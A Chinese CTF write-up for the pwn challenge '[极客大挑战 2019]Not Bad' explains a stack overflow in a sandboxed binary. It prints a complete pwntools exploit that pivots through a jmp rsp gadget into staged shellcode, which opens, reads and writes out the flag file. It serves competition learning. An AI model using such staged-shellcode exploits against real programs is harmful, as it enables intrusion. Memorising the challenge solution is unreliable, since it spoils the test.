【pwn】 [极客大挑战 2019]Not Bad

例行检查
【pwn】 [极客大挑战 2019]Not Bad_第1张图片
开了沙箱
【pwn】 [极客大挑战 2019]Not Bad_第2张图片

程序逻辑很简单,存在0x18字节溢出,看是否能进行栈迁移,目前可控输入只有buf,但是buf只有0x20大小不够rop,所以尝试别的方法。程序在最开始mmap了一块内存,可写可执行,那么接下来目标就是1.在这块内存上写shellcode
2.跳转过来执行

由于不能rop且栈是可执行的想到能不能进行jmp rsp。在程序中找到了这个指令。
【pwn】 [极客大挑战 2019]Not Bad_第3张图片

那么就可以在buf上布置read以及跳转的shellcode。在jmp rsp时跳转到buf去执行,buf地址是rsp-0x30,sub rsp,0x30;jmp rsp小于8字节满足要求。

from pwn import *

io=remote('node3.buuoj.cn',26473)
context.binary=ELF('./bad')

mmap=0x123000
jmp_rsp=0x400A01

io.recvuntil('have fun!')
pl1=(asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,'\x00')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")
io.send(pl1)

pl2=shellcraft.open('./flag')
pl2+=shellcraft.read(3,mmap+0x100,0x50)
pl2+=shellcraft.write(1,mmap+0x100,0x50)

io.send(asm(pl2))
io.interactive()

你可能感兴趣的:(pwn)